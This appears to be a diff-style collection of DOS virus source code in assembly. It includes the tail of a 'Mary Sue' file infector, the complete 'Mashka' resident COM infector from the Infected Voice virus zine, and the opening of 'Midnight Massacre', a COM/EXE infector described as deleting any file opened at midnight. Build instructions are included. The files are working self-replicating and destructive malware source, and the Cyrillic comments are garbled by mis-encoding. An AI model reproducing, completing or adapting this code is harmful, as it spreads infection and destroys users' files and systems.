JMP SHORT realprog
|
||||||
|
|
||||||
|
nfect:
|
||||||
|
MOV [SI+offset endprog+3],AX
|
||||||
|
MOV AH,40H
|
||||||
|
LEA DX,[SI+0105H]
|
||||||
|
MOV CX,offset endprog-105h
|
||||||
|
INT DOS
|
||||||
|
PUSHF
|
||||||
|
POPF
|
||||||
|
JC outa1
|
||||||
|
RET
|
||||||
|
outa1:
|
||||||
|
JMP exit
|
||||||
|
|
||||||
|
|
||||||
|
realprog:
|
||||||
|
CLD
|
||||||
|
MOV AH, 1Ah
|
||||||
|
LEA DX, [SI+ENDPROG+131h]
|
||||||
|
INT 21h
|
||||||
|
|
||||||
|
LEA DX,[SI+fspec]
|
||||||
|
XOR CX, CX
|
||||||
|
MOV AH,4EH
|
||||||
|
mainloop:
|
||||||
|
INT DOS
|
||||||
|
JC hiccup
|
||||||
|
|
||||||
|
LEA DX, [SI+ENDPROG+131h+30]
|
||||||
|
|
||||||
|
MOV AX,3D02H
|
||||||
|
INT DOS
|
||||||
|
MOV BX,AX
|
||||||
|
MOV AH,3FH
|
||||||
|
LEA DX,[SI+endprog]
|
||||||
|
MOV DI,DX
|
||||||
|
MOV CX,0003H
|
||||||
|
INT DOS
|
||||||
|
CMP BYTE PTR [DI],0E9H
|
||||||
|
JE infect
|
||||||
|
nextfile:
|
||||||
|
MOV AH,4FH
|
||||||
|
JMP mainloop
|
||||||
|
hiccup: JMP exit
|
||||||
|
infect:
|
||||||
|
MOV AX,5700h
|
||||||
|
INT DOS
|
||||||
|
PUSH DX
|
||||||
|
PUSH CX
|
||||||
|
MOV DX,[DI+01H]
|
||||||
|
MOV [SI+blnkdat],DX
|
||||||
|
; Tighter Code here - Dark Angel
|
||||||
|
XOR CX,CX
|
||||||
|
MOV AX,4200H
|
||||||
|
INT DOS
|
||||||
|
MOV DX,DI
|
||||||
|
MOV CX,0002H
|
||||||
|
MOV AH,3FH
|
||||||
|
INT DOS
|
||||||
|
CMP WORD PTR [DI],0807H
|
||||||
|
JE nextfile
|
||||||
|
getaval:
|
||||||
|
|
||||||
|
XOR DX,DX
|
||||||
|
XOR CX,CX
|
||||||
|
MOV AX,4202H
|
||||||
|
INT DOS
|
||||||
|
OR DX,DX
|
||||||
|
JNE nextfile
|
||||||
|
CMP AH,0FEH
|
||||||
|
JNC nextfile
|
||||||
|
CALL nfect
|
||||||
|
MOV AX,4200H
|
||||||
|
XOR CX, CX
|
||||||
|
MOV DX,OFFSET 00001
|
||||||
|
INT DOS
|
||||||
|
MOV AH,40H
|
||||||
|
LEA DX,[SI+offset endprog+3]
|
||||||
|
MOV CX,0002H
|
||||||
|
INT DOS
|
||||||
|
MOV AX,5701h
|
||||||
|
POP CX
|
||||||
|
POP DX
|
||||||
|
INT DOS
|
||||||
|
exit:
|
||||||
|
MOV AH,3EH
|
||||||
|
INT DOS
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
MOV AH, 1Ah
|
||||||
|
MOV DX, 80h
|
||||||
|
INT 21h
|
||||||
|
|
||||||
|
JMP BP
|
||||||
|
|
||||||
|
fspec LABEL WORD
|
||||||
|
DB '*.*',0
|
||||||
|
nondata DB ' *** Mary Sue Virus 1.0 ***'
|
||||||
|
DB ' Written by the Weasel!'
|
||||||
|
DB ' (C) Sector Infector Inc'
|
||||||
|
endenc LABEL BYTE
|
||||||
|
|
||||||
|
blnkdat LABEL WORD
|
||||||
|
DW 0000H
|
||||||
|
|
||||||
|
en_val DW 0h
|
||||||
|
|
||||||
|
endprog LABEL WORD
|
||||||
|
MarySue ENDS
|
||||||
|
END start
|
||||||
|
|
||||||
@@ -0,0 +1,451 @@
|
|||||||
|
;ÛßßßßßßßßßßßßßßßÛ ß ß ÛÛßÛÛßÛÛ
|
||||||
|
;Û STEALTH group Û° Û ÛßÜ Ûßß Üßß Üßß ßÛß Üßß ÛßÛ Ý Û ÜßÛ Û Üßß Üßß ÛÛ ßß ÛÛ
|
||||||
|
;Û presents Û° Û Û Û Ûß Ûß Û Û Ûß Û Û Û Û Û Û Û Û ßÛßß ÛÛÛÛÛ ÛÛ
|
||||||
|
;ÛÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÛ° Þ Þ Þ Þ ÞÜÜ ÞÜÜ Þ ÞÜÜ ÞÜß ßÛ ßÜÛ Þ ÞÜÜ ÞÜÜ ÛÛÛÛÛÜÛÛ
|
||||||
|
; °°°°°°°°°°°°°°°°° JAN 1995
|
||||||
|
;
|
||||||
|
; INFECTED VOICE. Issue 4. January 1995. (C) STEALTH group, Kiev 148, Box 10.
|
||||||
|
; ===========================================================================
|
||||||
|
|
||||||
|
|
||||||
|
TITLE Virus Mashka ; ªáâ ⨠áâ®ï饥 §¢ ¨¥ !
|
||||||
|
seg_a segment para 'code'
|
||||||
|
assume cs:seg_a,ds:seg_a
|
||||||
|
|
||||||
|
org 100h
|
||||||
|
|
||||||
|
start:
|
||||||
|
call $+3 ;áâ àë© ¤®¡àë© call
|
||||||
|
pop bx
|
||||||
|
push es
|
||||||
|
sub bx,3 ; ç «® ¢¨àãá
|
||||||
|
push bx
|
||||||
|
mov ax,0e200h ;âà ¤¨æ¨® ï ¯à®¢¥àª «¨ç¨¥ ¢ ¯ ¬ïâ¨
|
||||||
|
int 21h
|
||||||
|
cmp al,22h
|
||||||
|
jnz res ;¥á«¨ á ¥â, § ç¨â ¡ã¤¥¬
|
||||||
|
jmp short nores ;¬ë 㦥 ¥áâì
|
||||||
|
res:
|
||||||
|
mov ax,ds
|
||||||
|
dec ax
|
||||||
|
mov ds,ax ;ᥣ¬¥â MSB
|
||||||
|
mov ax,word ptr ds:[3]
|
||||||
|
sub ax,(offset virend - offset start)/10h+1+20h ;㬥ìè ¥¬ à §¬¥à ¡«®ª
|
||||||
|
mov word ptr ds:[3],ax
|
||||||
|
mov ax,ds
|
||||||
|
inc ax
|
||||||
|
mov ds,ax
|
||||||
|
mov ax,word ptr ds:[2] ;ª®«¢® ᢮¡®¤®© ¯ ¬ïâ¨
|
||||||
|
sub ax,(offset virend - offset start)/10h+1+20h ;®â¨¬ ¥¬ à §¬¥à vir'
|
||||||
|
mov es,ax
|
||||||
|
mov word ptr ds:[2],ax
|
||||||
|
mov cx,offset virend - offset start
|
||||||
|
mov si,bx
|
||||||
|
xor di,di
|
||||||
|
push cs
|
||||||
|
pop ds
|
||||||
|
rep movsb ; ¯¥à¥ª 稢 ¥¬ ⥫® ¢ ¢ë¤¥«¥ãî ®¡« áâì es:di
|
||||||
|
push es
|
||||||
|
pop ds
|
||||||
|
mov ax,3521h ; ã §¤¥áì, ¤¥îáì , ¢ë ¯®¨¬ ¥â¥ , çâ® ¯à®¨á室¨â
|
||||||
|
int 21h
|
||||||
|
mov word ptr ds:[offset int21e - offset start],bx
|
||||||
|
mov word ptr ds:[offset int21e+2 - offset start],es
|
||||||
|
mov ax,2521h
|
||||||
|
mov dx,offset int21entry - offset start
|
||||||
|
int 21h ; ¯¥à¥å¢ âë¢ ¥¬ int 21h
|
||||||
|
mov ax,3510h
|
||||||
|
int 21h
|
||||||
|
mov word ptr ds:[offset int10e - offset start],bx
|
||||||
|
mov word ptr ds:[offset int10e+2 - offset start],es
|
||||||
|
mov ax,2510h
|
||||||
|
mov dx,offset int10entry - offset start
|
||||||
|
int 21h ; ¯¥à¥å¢ âë¢ ¥¬ int 10h
|
||||||
|
; ¤«ï ¢¥à⮫¥â
|
||||||
|
nores:
|
||||||
|
; ¥á«¨ ¢¨àãá 㦥 ¢ ¯ ¬ï⨠, â® ®áâ ¥âáï ⮫쪮 à ¤®¢ âìáï
|
||||||
|
|
||||||
|
pop bx
|
||||||
|
|
||||||
|
; ᥩç á ¡ã¤¥¬ ¯®«ãç âì ®à¨£¨ «ìë¥ ¡ ©âë ¯à®£à ¬¬ë ,
|
||||||
|
; ¢ë१ ë¥ ¨§ ç « ¯à®£à ¬¬ë
|
||||||
|
|
||||||
|
mov ax,word ptr cs:[bx + offset real - offset start]
|
||||||
|
mov bx,word ptr cs:[bx + offset real - offset start + 2]
|
||||||
|
push cs
|
||||||
|
pop ds
|
||||||
|
mov word ptr cs:[100h],ax ;ᮮ⢥âá⢥® ¢®§¢à é ¥¬ ¨å ¬¥áâ®
|
||||||
|
mov word ptr cs:[102h],bx
|
||||||
|
mov ax,100h ; ¤à¥áá ¤«ï ¢®§¢à â ç «® ¯à®£à ¬¬ë
|
||||||
|
pop es
|
||||||
|
push ax
|
||||||
|
ret
|
||||||
|
|
||||||
|
real dw 4cb4h ; ¢®â ®¨ த¨¬ë¥ , ®à¨£¨ «ìë¥ !
|
||||||
|
dw 21cdh
|
||||||
|
|
||||||
|
INT21entry:
|
||||||
|
cmp ax,0e200h ; ¯à®¢¥à塞 ᮡá⢥ãî äãªæ¨î,
|
||||||
|
; ª®â®àãî ¢¨àãá ¢ë¯®«ï¥â çâ®¡ë ¯à®¢¥à¨âì
|
||||||
|
; ᢮¥ «¨ç¨¥ ¢ ¯ ¬ïâ¨
|
||||||
|
jnz d01
|
||||||
|
mov al,22h
|
||||||
|
iret
|
||||||
|
d01:
|
||||||
|
cmp ax,0e233h ; ᥪà¥â ï äãªæ¨ï , ¢®§¢à é îé ï ®à¨£¨ «ìë¥
|
||||||
|
; ¤à¥á ¯à¥àë¢ ¨© ¨ à §¬¥à ¢¨àãá (¤«ï ¢®§¬®¦®á⨠«¥ç¥-
|
||||||
|
; ¨ï «î¡®© ¢¥àᨨ
|
||||||
|
jnz d1
|
||||||
|
mov al,22h
|
||||||
|
mov bx,cs
|
||||||
|
; ¢®â ®¨ , í⨠offset'ë
|
||||||
|
mov cx,offset real - offset start
|
||||||
|
mov dx,offset int21e - offset start
|
||||||
|
mov si,offset int10e - offset start
|
||||||
|
iret
|
||||||
|
d1:
|
||||||
|
cmp ah,4bh ; ª ª ¢¨¤¨â¥ , äãªæ¨ï 4b - £« ¢ ï ¯à¨ç¨ § à ¦¥¨ï
|
||||||
|
jz in4b
|
||||||
|
jmp exitint21 ; ¥á«¨ ¥ 4b , â® ¬ë ¢á¥ à ¢® ¯®¤®¦¤¥¬
|
||||||
|
|
||||||
|
; ‚®â áî¤ ®¡ëç® ¯®¯ ¤ îâ , ª®£¤ ¤¥« îâ INT 21h
|
||||||
|
|
||||||
|
in4b:
|
||||||
|
push ax ; ¢¨¬ ¨¥ žŒŽ� ! ’¥ªá⮢ ï áâப 'PSQR'
|
||||||
|
push bx
|
||||||
|
push cx
|
||||||
|
push dx
|
||||||
|
|
||||||
|
push es
|
||||||
|
push ds
|
||||||
|
push si
|
||||||
|
push di
|
||||||
|
|
||||||
|
push dx
|
||||||
|
push ds
|
||||||
|
push cs
|
||||||
|
pop ds
|
||||||
|
mov ax,2524h
|
||||||
|
mov dx,offset int24entry - offset start
|
||||||
|
int 21h ;¯¥à¥å¢ â ªà¨â¨ç¥áª®© ®è¨¡ª¨
|
||||||
|
;¯à®¨á室¨â ⮫쪮 ¯à¨ § ¯ã᪥,
|
||||||
|
;¤ ¡ë ä ©«ë ¥ ¯¥ç â «¨áì
|
||||||
|
;¯à¨â¥à , ª®â®à®£® ¥âã !
|
||||||
|
pop ds
|
||||||
|
pop dx
|
||||||
|
|
||||||
|
call cmpnol ;¨é¥¬ ®«ì ¢ ª®æ¥ ¯ãâ¨ á ¨¬¥¥¬
|
||||||
|
call cmpcom ; ¥ COM «¨ íâ® á«ãç ©® ?
|
||||||
|
jnc pr1 ; €ƒ€ ! ‡ ç¨â ¢á¥-â ª¨ COM !
|
||||||
|
jmp exit ; ã ¥ ¡ã¤¥¬ § à ¦ âì, çâ® ¯®¤¥« âì ...
|
||||||
|
pr1:
|
||||||
|
;á®åà 塞 ¢ ¯¥à¥¬¥ë¥ ᥣ¬¥â ¨ ᬥ饨¥ § ¯ã᪠¥¬®£® ä ©«
|
||||||
|
|
||||||
|
mov word ptr cs:[offset adname - offset start],dx
|
||||||
|
mov word ptr cs:[offset adname - offset start+2],ds
|
||||||
|
call catt ;áïâì âਡãâë
|
||||||
|
mov ax,3d02h ;®âªàë¢ ¥¬ ä ©«
|
||||||
|
int 21h
|
||||||
|
mov bx,ax
|
||||||
|
call gettime ;¯®«ãç ¥¬ ¨ á®åà 塞 ¢à¥¬ï
|
||||||
|
|
||||||
|
; íâ®â ªãá®ç¥ª §¤¥áì ª®¥ç® §àï,
|
||||||
|
; ® íâ® ¡ë«® ¤ ¢® ¨ ¥¯à ¢¤
|
||||||
|
mov ax,4202h
|
||||||
|
xor cx,cx
|
||||||
|
xor dx,dx
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
push ds
|
||||||
|
push cs
|
||||||
|
pop ds ; ᥣ¬¥â ¤ ëå ãáâ ¢«¨¢ ¥¬ ª®¤ ¢¨àãá
|
||||||
|
|
||||||
|
mov ax,4200h ; §¤¥áì ª®¥ç® ¡ë«® ¢á¥ ¯ãâ ® ,® § ¬¥âìâ¥,
|
||||||
|
; CX:DX ¢á¥ à ¢® 㫨
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
mov ah,3fh
|
||||||
|
mov dx,offset virend - offset start
|
||||||
|
mov cx,4h
|
||||||
|
int 21h ; ç¨â ¥¬ ç «® ä ©« ¢ ®¡« áâì § ¢¨àãᮬ
|
||||||
|
|
||||||
|
; ¥á«¨ § à ¦¥® , â® ç¥â¢¥àâë© ¡ ©â ¤®«¦¥ ¡ëâì 'Q'
|
||||||
|
cmp byte ptr ds:[offset virend - offset start + 3],'Q'
|
||||||
|
jnz ok2
|
||||||
|
pop ds
|
||||||
|
jmp closeexit ; ¢ë室 á § ªàë⨥¬ ä ©« ¨ ¢®ááâ ®¢ª®© ®á⠫쮣®
|
||||||
|
; ¤®¡à
|
||||||
|
ok2:
|
||||||
|
xor si,si
|
||||||
|
mov dx,0 - 200h
|
||||||
|
p2:
|
||||||
|
;á«¥¤ãî騩 äà £¬¥â áç¨âë¢ ¥â ¢ ¯ ¬ïâì ¯®á«¥¤®¢ â¥«ì® ¢¥áì ä ©«
|
||||||
|
;¯® 200h ¨ ᪠¨àã¥â ®¯à¥¤¥«¥®¥ ª®«¨ç¥á⢮ ã«¥© ( ¨¬¥® 777),
|
||||||
|
|
||||||
|
mov ax,4200h
|
||||||
|
add dx,200h
|
||||||
|
xor cx,cx
|
||||||
|
int 21h
|
||||||
|
push ax
|
||||||
|
mov ah,3fh
|
||||||
|
mov dx,offset virend - offset start
|
||||||
|
mov cx,200h
|
||||||
|
int 21h
|
||||||
|
cmp ax,0
|
||||||
|
jnz d3
|
||||||
|
pop dx ; ä ©« § ª®ç¨«áï
|
||||||
|
jmp d2
|
||||||
|
d3:
|
||||||
|
cmp ax,200h
|
||||||
|
jz ok4
|
||||||
|
add ax,offset virend - offset start
|
||||||
|
mov di,ax
|
||||||
|
mov word ptr ds:[di],0ffh ; íâ® çâ®-â® ¢à®¤¥ ª®æ®¢®çª¨
|
||||||
|
ok4:
|
||||||
|
call scanspace ; ᪠¨à㥬 ¯à®ç¨â ë¥ 200h
|
||||||
|
pop dx
|
||||||
|
cmp si,offset virend - offset start
|
||||||
|
jc p2 ; ¥á«¨ ª®«-¢® ã«¥© ¬¥ìè¥ ç¥¬ à §¬¥à ¢¨àãá
|
||||||
|
; â® ¯à®¤®«¦ ¥¬ ᪠¨à®¢ ¨¥
|
||||||
|
|
||||||
|
sub di,(offset virend - offset start)
|
||||||
|
add dx,di
|
||||||
|
sub dx,si
|
||||||
|
push dx ; ¢ DX ᬥ饨¥ ¢ ä ©«¥ ,ª®â®à®¥ 㪠§ë¢ ¥â
|
||||||
|
; ©¤¥ãî ®¡« áâì á ã«ï¬¨
|
||||||
|
mov ax,4200h
|
||||||
|
xor cx,cx
|
||||||
|
xor dx,dx
|
||||||
|
int 21h
|
||||||
|
mov ah,3fh
|
||||||
|
mov cx,4h
|
||||||
|
mov dx,offset real - offset start
|
||||||
|
int 21h ; ç¨â ¥¬ ॠ«ìë¥ ¡ ©â¨ª¨ ¯à®£à.
|
||||||
|
mov ax,4200h
|
||||||
|
xor cx,cx
|
||||||
|
xor dx,dx
|
||||||
|
int 21h
|
||||||
|
mov si,offset virend - offset start
|
||||||
|
mov byte ptr ds:[si],0e9h
|
||||||
|
pop dx
|
||||||
|
push dx
|
||||||
|
sub dx,3
|
||||||
|
mov word ptr ds:[si+1],dx ; ¯®¤£®â ¢«¨¢ ¥¬ ç «ìë¥ ç¥âëॠ¡ ©â
|
||||||
|
mov byte ptr ds:[si+3],'Q' ; íâ® ¬¥âª § à ¦¥®áâ¨
|
||||||
|
mov ah,40h
|
||||||
|
mov cx,4h
|
||||||
|
mov dx,offset virend - offset start
|
||||||
|
int 21h ; § ¯¨áë¢ ¥¬ ¨å
|
||||||
|
pop dx ; ¢ DX ¤à¥á ®¡« á⨠á ã«ï¬¨
|
||||||
|
xor cx,cx
|
||||||
|
mov ax,4200h
|
||||||
|
int 21h
|
||||||
|
mov ah,40h
|
||||||
|
mov cx,offset virend - offset start
|
||||||
|
xor dx,dx
|
||||||
|
int 21h ; ¤®¯¨áë¢ ¥¬ â㤠⥫® ¢¨àãá
|
||||||
|
d2:
|
||||||
|
pop ds
|
||||||
|
closeexit:
|
||||||
|
call puttime ; ¢®ááâ ¢«¨¢ ¥¬ ¢à¥¬ï
|
||||||
|
mov ah,3eh
|
||||||
|
int 21h ; ¢á¥ ! à ¡®ç¨© ¤¥ì ª®ç¨«áï !
|
||||||
|
exit:
|
||||||
|
pop di
|
||||||
|
pop si
|
||||||
|
pop ds
|
||||||
|
pop es
|
||||||
|
pop dx
|
||||||
|
pop cx
|
||||||
|
pop bx
|
||||||
|
pop ax
|
||||||
|
exitint21:
|
||||||
|
db 0eah
|
||||||
|
int21e dw ?
|
||||||
|
dw ?
|
||||||
|
adname dw ?
|
||||||
|
dw ?
|
||||||
|
int24entry:
|
||||||
|
mov ax,0h ; íâ® ABORT ! •®à®è®, çâ® ¬ë ¥ ¢ ˆâ «¨¨ !
|
||||||
|
iret
|
||||||
|
time dw ?
|
||||||
|
dw ?
|
||||||
|
;------------------------------------- ¯®¨áª ã«ï ¢ ª®æ¥ ¯ãâ¨ á ¨¬¥¥¬
|
||||||
|
cmpnol:
|
||||||
|
mov bx,dx
|
||||||
|
nol:
|
||||||
|
inc bx
|
||||||
|
cmp byte ptr ds:[bx],0h
|
||||||
|
jnz nol
|
||||||
|
ret
|
||||||
|
;------------------------------------- ¯à®¢¥àª COM
|
||||||
|
cmpcom:
|
||||||
|
cmp word ptr ds:[bx-2],'MO'
|
||||||
|
clc
|
||||||
|
jz exitcmpexe
|
||||||
|
stc
|
||||||
|
exitcmpexe:
|
||||||
|
ret
|
||||||
|
;--------------------------------------- ¯®«ã票¥ ¨ ãáâ ®¢ª ®à¬ «ìëå
|
||||||
|
; âਡã⮢
|
||||||
|
catt:
|
||||||
|
push ds
|
||||||
|
push dx
|
||||||
|
mov ax,4300h
|
||||||
|
LDS dx,dword ptr cs:[offset adname - offset start]
|
||||||
|
int 21h
|
||||||
|
and cl,11111110b
|
||||||
|
mov ax,4301h
|
||||||
|
int 21h
|
||||||
|
pop dx
|
||||||
|
pop ds
|
||||||
|
ret
|
||||||
|
;--------------------------------------- ¯®«ã票¥ ¨ á®åà ¥¨¥ ¢à¥¬¥¨
|
||||||
|
gettime:
|
||||||
|
mov ax,5700h
|
||||||
|
int 21h
|
||||||
|
and cl,11100000b
|
||||||
|
mov word ptr cs:[offset time - offset start],cx
|
||||||
|
mov word ptr cs:[offset time - offset start+2],dx
|
||||||
|
ret
|
||||||
|
;----------------------------------------- ¢®§¢à 饨¥ áâ ண® ¢à¥¬¥¨ ;)
|
||||||
|
puttime:
|
||||||
|
mov ax,5701h
|
||||||
|
mov cx,word ptr cs:[offset time - offset start]
|
||||||
|
mov dx,word ptr cs:[offset time - offset start+2]
|
||||||
|
int 21h
|
||||||
|
ret
|
||||||
|
;------------------------------------------ ᪠¨à®¢ ¨¥ 㫨
|
||||||
|
scanspace:
|
||||||
|
mov di,offset virend - offset start - 1
|
||||||
|
opsc:
|
||||||
|
inc di
|
||||||
|
cmp di,(offset virend - offset start) + 200h
|
||||||
|
jnc exsc
|
||||||
|
mov al,ds:[di]
|
||||||
|
cmp al,0
|
||||||
|
jnz clscan
|
||||||
|
inc si
|
||||||
|
jmp opsc
|
||||||
|
exsc:
|
||||||
|
ret
|
||||||
|
clscan:
|
||||||
|
cmp si,offset virend - offset start
|
||||||
|
jc ok3
|
||||||
|
ret
|
||||||
|
ok3:
|
||||||
|
xor si,si
|
||||||
|
jmp opsc
|
||||||
|
|
||||||
|
int10entry:
|
||||||
|
cmp ax,0005h ; ¯à®¢¥àª ãáâ ®¢«¥¨¥ CGA 320x200
|
||||||
|
jz svert ; ¥á«¨ â ª®¢®©, â® à¨á㥬 ¯à®«¥â î騩 ¢¥à⮫¥â
|
||||||
|
exitint10:
|
||||||
|
db 0eah
|
||||||
|
int10e dw ?
|
||||||
|
dw ?
|
||||||
|
svert:
|
||||||
|
cmp si,22h
|
||||||
|
jz exitint10 ; ®¡å®¤¨¬ ᮡáâ¢¥ë¥ ¢ë§®¢ë
|
||||||
|
|
||||||
|
; �“ € �’Ž - ‚…�’Ž‹…’ !
|
||||||
|
|
||||||
|
vert:
|
||||||
|
push ds
|
||||||
|
push ax
|
||||||
|
push bx
|
||||||
|
push cx
|
||||||
|
push dx
|
||||||
|
push si
|
||||||
|
push di
|
||||||
|
push bp
|
||||||
|
push es
|
||||||
|
|
||||||
|
push cs
|
||||||
|
pop ds
|
||||||
|
mov ax,0b800h
|
||||||
|
mov es,ax
|
||||||
|
mov si,22h
|
||||||
|
mov ax,5
|
||||||
|
int 10h
|
||||||
|
mov cx,70
|
||||||
|
mov dx,30
|
||||||
|
bb:
|
||||||
|
push cx
|
||||||
|
mov cx,6000h
|
||||||
|
zlp:
|
||||||
|
loop zlp
|
||||||
|
pop cx
|
||||||
|
|
||||||
|
call bert
|
||||||
|
loop bb
|
||||||
|
pop es
|
||||||
|
pop bp
|
||||||
|
pop di
|
||||||
|
pop si
|
||||||
|
pop dx
|
||||||
|
pop cx
|
||||||
|
pop bx
|
||||||
|
pop ax
|
||||||
|
pop ds
|
||||||
|
jmp exitint10
|
||||||
|
;------------------------
|
||||||
|
bert:
|
||||||
|
push dx
|
||||||
|
push cx
|
||||||
|
push ax
|
||||||
|
push si
|
||||||
|
push di
|
||||||
|
|
||||||
|
mov ax,dx
|
||||||
|
mov bx,80
|
||||||
|
mul bx
|
||||||
|
add ax,cx
|
||||||
|
mov di,ax
|
||||||
|
mov bp,0
|
||||||
|
mov si,offset berts - offset start
|
||||||
|
opbert:
|
||||||
|
mov cx,6
|
||||||
|
push di
|
||||||
|
rep movsb
|
||||||
|
pop di
|
||||||
|
add di,2000h
|
||||||
|
inc bp
|
||||||
|
cmp bp,12
|
||||||
|
je exbert
|
||||||
|
mov cx,6
|
||||||
|
push di
|
||||||
|
rep movsb
|
||||||
|
pop di
|
||||||
|
sub di,2000h-80
|
||||||
|
inc bp
|
||||||
|
cmp bp,12
|
||||||
|
je exbert
|
||||||
|
jmp opbert
|
||||||
|
exbert:
|
||||||
|
pop di
|
||||||
|
pop si
|
||||||
|
pop ax
|
||||||
|
pop cx
|
||||||
|
pop dx
|
||||||
|
ret
|
||||||
|
;================================
|
||||||
|
berts db 0,0,0,0,0,0 ; ¢¥à⮫¥â, ¨«¨ ¯®-ãªà ¨áª¨ - 奫¨ª®¯â¥à
|
||||||
|
db 0,0,0,0,0,0
|
||||||
|
db 0,0,55h,40h,0,0
|
||||||
|
db 0,0,4,0,0,0
|
||||||
|
db 0,1,44h,0,0,0
|
||||||
|
db 0,15h,55h,0,4,0
|
||||||
|
db 0,50h,57h,55h,55h,0
|
||||||
|
db 0,15h,75h,55h,4,0
|
||||||
|
db 0,5,55h,0,0,0
|
||||||
|
db 0,0,10h,0,0,0
|
||||||
|
db 0,0,0,0,0,0
|
||||||
|
db 0,0,0,0,0,0
|
||||||
|
;=================================
|
||||||
|
db '·‚“೟�˜•Ÿàßß྇ཎŸ†‡àß' ; § è¨ä஢ ®¥ ¯®á« ¨¥ ¯®â®¬ª ¬
|
||||||
|
; î§ ©â¥ NEG.
|
||||||
|
|
||||||
|
virend:
|
||||||
|
seg_a ends
|
||||||
|
end start
|
||||||
@@ -0,0 +1,563 @@
|
|||||||
|
;****************************************************************************
|
||||||
|
;* Midnight Massacre virus *
|
||||||
|
;* by Crypt Keeper *
|
||||||
|
;****************************************************************************
|
||||||
|
|
||||||
|
;Version 1.2
|
||||||
|
;Entry point and check resident bugs fixed.
|
||||||
|
|
||||||
|
;Midnight Massacre is based on the Eleet! virus, but with added .COM
|
||||||
|
;support, bugs in infection process fixed, and new load resident and
|
||||||
|
;trigger routines. The Midnight Massacre virus will infect .COM or
|
||||||
|
;.EXE files as they are opened, executed, or their attributes are
|
||||||
|
;accessed. Also, if the system time is 12:00am, the virus will delete
|
||||||
|
;any file executed or opened for any reason (midnight massacre).
|
||||||
|
;Midnight Massacre also has a unique memory-resident installation
|
||||||
|
;routine that will load it into the UMB if a high memory driver is
|
||||||
|
;present, or 1000h paragraphs down from top of memory, if no HMA
|
||||||
|
;driver is loaded. Midnight Massacre will not infect COMMAND.COM
|
||||||
|
|
||||||
|
;TASM MASSACRE.ASM /M3
|
||||||
|
;TLINK MASSACRE.OBJ /t
|
||||||
|
;The generated .COM file is ready to run with no modifications.
|
||||||
|
|
||||||
|
.model tiny
|
||||||
|
.code
|
||||||
|
|
||||||
|
org 100h
|
||||||
|
|
||||||
|
massacre: ;start of virus code
|
||||||
|
|
||||||
|
vtop equ $ ;top of virus code block
|
||||||
|
|
||||||
|
;Equates --------------------------------------------------------------------
|
||||||
|
|
||||||
|
vlength equ vbot-vtop ;virus length in bytes
|
||||||
|
heapsiz equ hbot-heap ;heap size in bytes
|
||||||
|
vlres equ ((vlength+heapsiz+100h)/16)+1 ;virus length in paragraphs
|
||||||
|
vlpage equ (vlength/512)+1 ;virus length in pages
|
||||||
|
chkfunc equ 9AC7h ;check resident int 21h function
|
||||||
|
virusid equ 0000h ;virus ID word in exeheader
|
||||||
|
|
||||||
|
;----------------------------------------------------------------------------
|
||||||
|
|
||||||
|
db 0BDh ;mov bp,
|
||||||
|
delta dw 0 ;delta offset
|
||||||
|
|
||||||
|
lea sp,[bp+(offset(sspace)+64)] ;set up new stack
|
||||||
|
|
||||||
|
push ds
|
||||||
|
push es ;save original EXE segments
|
||||||
|
|
||||||
|
cld ;clear direction flag
|
||||||
|
|
||||||
|
mov ax,chkfunc
|
||||||
|
int 2Fh
|
||||||
|
|
||||||
|
push cs
|
||||||
|
pop ds
|
||||||
|
|
||||||
|
cmp ax,chkfunc+1 ;did virus return reply?
|
||||||
|
jne install ;if not, install resident
|
||||||
|
|
||||||
|
jmp return ;if so, return to original program
|
||||||
|
|
||||||
|
install:
|
||||||
|
mov ax,3521h ;Get int 21h vector
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
mov [bp+offset(i21veco)],bx
|
||||||
|
mov [bp+offset(i21vecs)],es
|
||||||
|
|
||||||
|
mov ax,352Fh ;Get int 2Fh vector
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
mov [bp+offset(i2Fveco)],bx
|
||||||
|
mov [bp+offset(i2Fvecs)],es
|
||||||
|
|
||||||
|
mov ax,4300h ;get himem.sys installed state
|
||||||
|
int 2Fh ;multiplex interrupt
|
||||||
|
|
||||||
|
cmp al,80h ;80h in al means himem.sys is loaded
|
||||||
|
jne get_old_fashioned_way
|
||||||
|
|
||||||
|
mov ax,4310h ;get himem.sys entry point adress
|
||||||
|
int 2Fh
|
||||||
|
|
||||||
|
mov [bp+offset(himem_o)],bx
|
||||||
|
mov [bp+offset(himem_s)],es ;save entry point for calling
|
||||||
|
|
||||||
|
mov ah,10h ;allocate UMB (function 10h)
|
||||||
|
mov dx,vlres ;paragraphs to request
|
||||||
|
|
||||||
|
call dword ptr [bp+offset(himem_o)] ;call himem.sys
|
||||||
|
mov ax,bx ;BX will contain segment of memory
|
||||||
|
jmp short go_ahead_load ;continue with load procedure
|
||||||
|
|
||||||
|
get_old_fashioned_way:
|
||||||
|
int 12h ;get total k-bytes of RAM in conv. mem
|
||||||
|
|
||||||
|
xor dx,dx
|
||||||
|
mov cx,1024
|
||||||
|
mul cx
|
||||||
|
mov cx,16
|
||||||
|
div cx ;convert to paragraphs
|
||||||
|
|
||||||
|
sub ax,1000h ;put it 1000h paragraphs down from TOM
|
||||||
|
|
||||||
|
go_ahead_load:
|
||||||
|
mov es,ax ;segment of allocated memory arena
|
||||||
|
|
||||||
|
lea si,[bp+offset(massacre)] ;bp=start of virus code
|
||||||
|
mov cx,vlength+heapsiz ;virus length in bytes+heap data
|
||||||
|
mov di,100h
|
||||||
|
|
||||||
|
rep movsb ;copy virus code up there
|
||||||
|
|
||||||
|
push es
|
||||||
|
pop ds
|
||||||
|
|
||||||
|
mov dx,offset(i2Fvec) ;new int 21h vector
|
||||||
|
mov ax,252Fh ;set int 21h vector
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
mov dx,offset(i21vec) ;new int 21h vector
|
||||||
|
mov ax,2521h ;set int 21h vector
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
return: cmp byte ptr [bp+offset(comid)],0 ;is this a .COM file we're from?
|
||||||
|
jne return_exe
|
||||||
|
|
||||||
|
mov sp,0FFFEh ;set old stack pointer
|
||||||
|
|
||||||
|
push cs
|
||||||
|
pop ds
|
||||||
|
push cs
|
||||||
|
pop es
|
||||||
|
|
||||||
|
lea si,[bp+offset(saved)] ;saved bytes from original .COM
|
||||||
|
mov di,100h
|
||||||
|
push di ;set up for return
|
||||||
|
|
||||||
|
